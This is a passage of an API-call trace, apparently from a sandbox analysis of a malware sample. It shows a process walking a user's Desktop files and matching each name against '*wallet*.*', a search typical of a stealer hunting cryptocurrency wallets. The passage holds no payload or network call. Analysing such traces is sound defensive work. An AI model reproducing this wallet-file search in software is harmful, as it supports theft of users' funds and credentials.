lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.600] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="pmDY1nV.m4a" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\pmDY1nV.m4a") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\pmDY1nV.m4a" [0099.600] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.601] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.601] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\pmDY1nV.m4a", cchWideChar=43, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 43 [0099.601] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x2b) returned 0x34300d0 [0099.601] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\pmDY1nV.m4a", cchWideChar=43, lpMultiByteStr=0x34300d0, cbMultiByte=43, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\pmDY1nV.m4a", lpUsedDefaultChar=0x0) returned 43 [0099.601] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x2110508 [0099.601] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.601] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.601] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.601] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x16) returned 0x3430c20 [0099.601] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3430c20, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0099.601] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430588 [0099.601] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430c20 | out: hHeap=0x2110000) returned 1 [0099.601] PathMatchSpecW (pszFile="pmDY1nV.m4a", pszSpec="*wallet*.*") returned 0 [0099.601] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430588 | out: hHeap=0x2110000) returned 1 [0099.601] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110508 | out: hHeap=0x2110000) returned 1 [0099.601] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x892d3030, ftCreationTime.dwHighDateTime=0x1d7a3e4, ftLastAccessTime.dwLowDateTime=0x84f549f0, ftLastAccessTime.dwHighDateTime=0x1d7ad47, ftLastWriteTime.dwLowDateTime=0x84f549f0, ftLastWriteTime.dwHighDateTime=0x1d7ad47, nFileSizeHigh=0x0, nFileSizeLow=0x61a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RpU8jg9s7.png", cAlternateFileName="RPU8JG~1.PNG")) returned 1 [0099.601] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.601] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.601] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="RpU8jg9s7.png" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\RpU8jg9s7.png") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\RpU8jg9s7.png" [0099.601] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.601] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.601] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\RpU8jg9s7.png", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0099.601] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x2d) returned 0x34300d0 [0099.601] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\RpU8jg9s7.png", cchWideChar=45, lpMultiByteStr=0x34300d0, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\RpU8jg9s7.png", lpUsedDefaultChar=0x0) returned 45 [0099.601] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x2110508 [0099.602] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.602] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.602] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.602] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x16) returned 0x3430e40 [0099.602] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3430e40, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0099.602] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34306f0 [0099.602] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430e40 | out: hHeap=0x2110000) returned 1 [0099.602] PathMatchSpecW (pszFile="RpU8jg9s7.png", pszSpec="*wallet*.*") returned 0 [0099.602] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34306f0 | out: hHeap=0x2110000) returned 1 [0099.602] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110508 | out: hHeap=0x2110000) returned 1 [0099.602] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21289090, ftCreationTime.dwHighDateTime=0x1d7a675, ftLastAccessTime.dwLowDateTime=0xba7f7970, ftLastAccessTime.dwHighDateTime=0x1d7af80, ftLastWriteTime.dwLowDateTime=0xba7f7970, ftLastWriteTime.dwHighDateTime=0x1d7af80, nFileSizeHigh=0x0, nFileSizeLow=0x35ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="sIIXwnEmeTmghbLvRDe.m4a", cAlternateFileName="SIIXWN~1.M4A")) returned 1 [0099.602] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.602] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.602] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="sIIXwnEmeTmghbLvRDe.m4a" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\sIIXwnEmeTmghbLvRDe.m4a") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\sIIXwnEmeTmghbLvRDe.m4a" [0099.602] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.602] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.602] lstrcatW (in: lpString1="\\", lpString2="sIIXwnEmeTmghbLvRDe.m4a" | out: lpString1="\\sIIXwnEmeTmghbLvRDe.m4a") returned="\\sIIXwnEmeTmghbLvRDe.m4a" [0099.602] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x70) returned 0x21104a0 [0099.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\sIIXwnEmeTmghbLvRDe.m4a", cchWideChar=55, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 55 [0099.602] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x37) returned 0x33aac20 [0099.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\sIIXwnEmeTmghbLvRDe.m4a", cchWideChar=55, lpMultiByteStr=0x33aac20, cbMultiByte=55, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\sIIXwnEmeTmghbLvRDe.m4a", lpUsedDefaultChar=0x0) returned 55 [0099.602] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112c90 [0099.602] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aac20 | out: hHeap=0x2110000) returned 1 [0099.602] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.603] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.603] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x16) returned 0x3430de0 [0099.603] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3430de0, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0099.603] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34305d8 [0099.603] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430de0 | out: hHeap=0x2110000) returned 1 [0099.603] PathMatchSpecW (pszFile="sIIXwnEmeTmghbLvRDe.m4a", pszSpec="*wallet*.*") returned 0 [0099.603] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34305d8 | out: hHeap=0x2110000) returned 1 [0099.603] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112c90 | out: hHeap=0x2110000) returned 1 [0099.603] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36172650, ftCreationTime.dwHighDateTime=0x1d7a581, ftLastAccessTime.dwLowDateTime=0xf20cbf70, ftLastAccessTime.dwHighDateTime=0x1d7ac28, ftLastWriteTime.dwLowDateTime=0xf20cbf70, ftLastWriteTime.dwHighDateTime=0x1d7ac28, nFileSizeHigh=0x0, nFileSizeLow=0x473d, dwReserved0=0x0, dwReserved1=0x0, cFileName="tx3sQn43qrAHw7-df.bmp", cAlternateFileName="TX3SQN~1.BMP")) returned 1 [0099.603] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.603] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.603] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="tx3sQn43qrAHw7-df.bmp" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\tx3sQn43qrAHw7-df.bmp") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\tx3sQn43qrAHw7-df.bmp" [0099.603] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.603] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.603] lstrcatW (in: lpString1="\\", lpString2="tx3sQn43qrAHw7-df.bmp" | out: lpString1="\\tx3sQn43qrAHw7-df.bmp") returned="\\tx3sQn43qrAHw7-df.bmp" [0099.603] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x70) returned 0x21104a0 [0099.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\tx3sQn43qrAHw7-df.bmp", cchWideChar=53, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 53 [0099.603] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x35) returned 0x33aad20 [0099.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\tx3sQn43qrAHw7-df.bmp", cchWideChar=53, lpMultiByteStr=0x33aad20, cbMultiByte=53, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\tx3sQn43qrAHw7-df.bmp", lpUsedDefaultChar=0x0) returned 53 [0099.603] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112978 [0099.603] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aad20 | out: hHeap=0x2110000) returned 1 [0099.603] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.603] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.603] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x16) returned 0x3430e20 [0099.603] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3430e20, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0099.603] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34303d0 [0099.603] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430e20 | out: hHeap=0x2110000) returned 1 [0099.604] PathMatchSpecW (pszFile="tx3sQn43qrAHw7-df.bmp", pszSpec="*wallet*.*") returned 0 [0099.604] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34303d0 | out: hHeap=0x2110000) returned 1 [0099.604] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112978 | out: hHeap=0x2110000) returned 1 [0099.604] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbaeebe0, ftCreationTime.dwHighDateTime=0x1d7a734, ftLastAccessTime.dwLowDateTime=0x522839a0, ftLastAccessTime.dwHighDateTime=0x1d7a8d4, ftLastWriteTime.dwLowDateTime=0x522839a0, ftLastWriteTime.dwHighDateTime=0x1d7a8d4, nFileSizeHigh=0x0, nFileSizeLow=0xd90, dwReserved0=0x0, dwReserved1=0x0, cFileName="tzzsZtkMBK_y-2gskd.rtf", cAlternateFileName="TZZSZT~1.RTF")) returned 1 [0099.604] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.604] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.604] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="tzzsZtkMBK_y-2gskd.rtf" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\tzzsZtkMBK_y-2gskd.rtf") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\tzzsZtkMBK_y-2gskd.rtf" [0099.604] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.604] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.604] lstrcatW (in: lpString1="\\", lpString2="tzzsZtkMBK_y-2gskd.rtf" | out: lpString1="\\tzzsZtkMBK_y-2gskd.rtf") returned="\\tzzsZtkMBK_y-2gskd.rtf" [0099.604] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x70) returned 0x21104a0 [0099.604] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\tzzsZtkMBK_y-2gskd.rtf", cchWideChar=54, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 54 [0099.604] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x36) returned 0x33aafa0 [0099.604] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\tzzsZtkMBK_y-2gskd.rtf", cchWideChar=54, lpMultiByteStr=0x33aafa0, cbMultiByte=54, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\tzzsZtkMBK_y-2gskd.rtf", lpUsedDefaultChar=0x0) returned 54 [0099.604] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x21127c8 [0099.604] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aafa0 | out: hHeap=0x2110000) returned 1 [0099.604] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.604] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.604] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x16) returned 0x3430c60 [0099.604] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3430c60, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0099.604] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430470 [0099.604] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430c60 | out: hHeap=0x2110000) returned 1 [0099.604] PathMatchSpecW (pszFile="tzzsZtkMBK_y-2gskd.rtf", pszSpec="*wallet*.*") returned 0 [0099.604] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430470 | out: hHeap=0x2110000) returned 1 [0099.604] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21127c8 | out: hHeap=0x2110000) returned 1 [0099.605] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19e7d2f0, ftCreationTime.dwHighDateTime=0x1d7a3aa, ftLastAccessTime.dwLowDateTime=0x28e0f540, ftLastAccessTime.dwHighDateTime=0x1d7aaab, ftLastWriteTime.dwLowDateTime=0x28e0f540, ftLastWriteTime.dwHighDateTime=0x1d7aaab, nFileSizeHigh=0x0, nFileSizeLow=0x11cf6, dwReserved0=0x0, dwReserved1=0x0, cFileName="TZ_q-uezvWtW997Slkqq.png", cAlternateFileName="TZ_Q-U~1.PNG")) returned 1 [0099.605] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.605] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.605] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="TZ_q-uezvWtW997Slkqq.png" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\TZ_q-uezvWtW997Slkqq.png") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\TZ_q-uezvWtW997Slkqq.png" [0099.605] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.605] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.605] lstrcatW (in: lpString1="\\", lpString2="TZ_q-uezvWtW997Slkqq.png" | out: lpString1="\\TZ_q-uezvWtW997Slkqq.png") returned="\\TZ_q-uezvWtW997Slkqq.png" [0099.605] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x70) returned 0x21104a0 [0099.605] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\TZ_q-uezvWtW997Slkqq.png", cchWideChar=56, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 56 [0099.605] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x38) returned 0x33ab120 [0099.605] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\TZ_q-uezvWtW997Slkqq.png", cchWideChar=56, lpMultiByteStr=0x33ab120, cbMultiByte=56, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\TZ_q-uezvWtW997Slkqq.png", lpUsedDefaultChar=0x0) returned 56 [0099.605] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112978 [0099.605] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33ab120 | out: hHeap=0x2110000) returned 1 [0099.605] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.605] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.605] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x16) returned 0x3430d40 [0099.605] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3430d40, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0099.605] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34303d0 [0099.605] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430d40 | out: hHeap=0x2110000) returned 1 [0099.605] PathMatchSpecW (pszFile="TZ_q-uezvWtW997Slkqq.png", pszSpec="*wallet*.*") returned 0 [0099.605] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34303d0 | out: hHeap=0x2110000) returned 1 [0099.605] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112978 | out: hHeap=0x2110000) returned 1 [0099.605] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78c68a30, ftCreationTime.dwHighDateTime=0x1d7a00f, ftLastAccessTime.dwLowDateTime=0xe3c3b1a0, ftLastAccessTime.dwHighDateTime=0x1d7af4b, ftLastWriteTime.dwLowDateTime=0xe3c3b1a0, ftLastWriteTime.dwHighDateTime=0x1d7af4b, nFileSizeHigh=0x0, nFileSizeLow=0xb94f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Unrrn7hms.png", cAlternateFileName="UNRRN7~1.PNG")) returned 1 [0099.605] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.605] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.605] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="Unrrn7hms.png" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Unrrn7hms.png") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Unrrn7hms.png" [0099.605] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.605] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.606] lstrcatW (in: lpString1="\\", lpString2="Unrrn7hms.png" | out: lpString1="\\Unrrn7hms.png") returned="\\Unrrn7hms.png" [0099.606] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x60) returned 0x21104a0 [0099.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Unrrn7hms.png", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0099.606] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x2d) returned 0x34300d0 [0099.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Unrrn7hms.png", cchWideChar=45, lpMultiByteStr=0x34300d0, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Unrrn7hms.png", lpUsedDefaultChar=0x0) returned 45 [0099.606] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x2110508 [0099.606] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.606] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.606] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.606] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x16) returned 0x3430c80 [0099.606] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3430c80, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0099.606] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430600 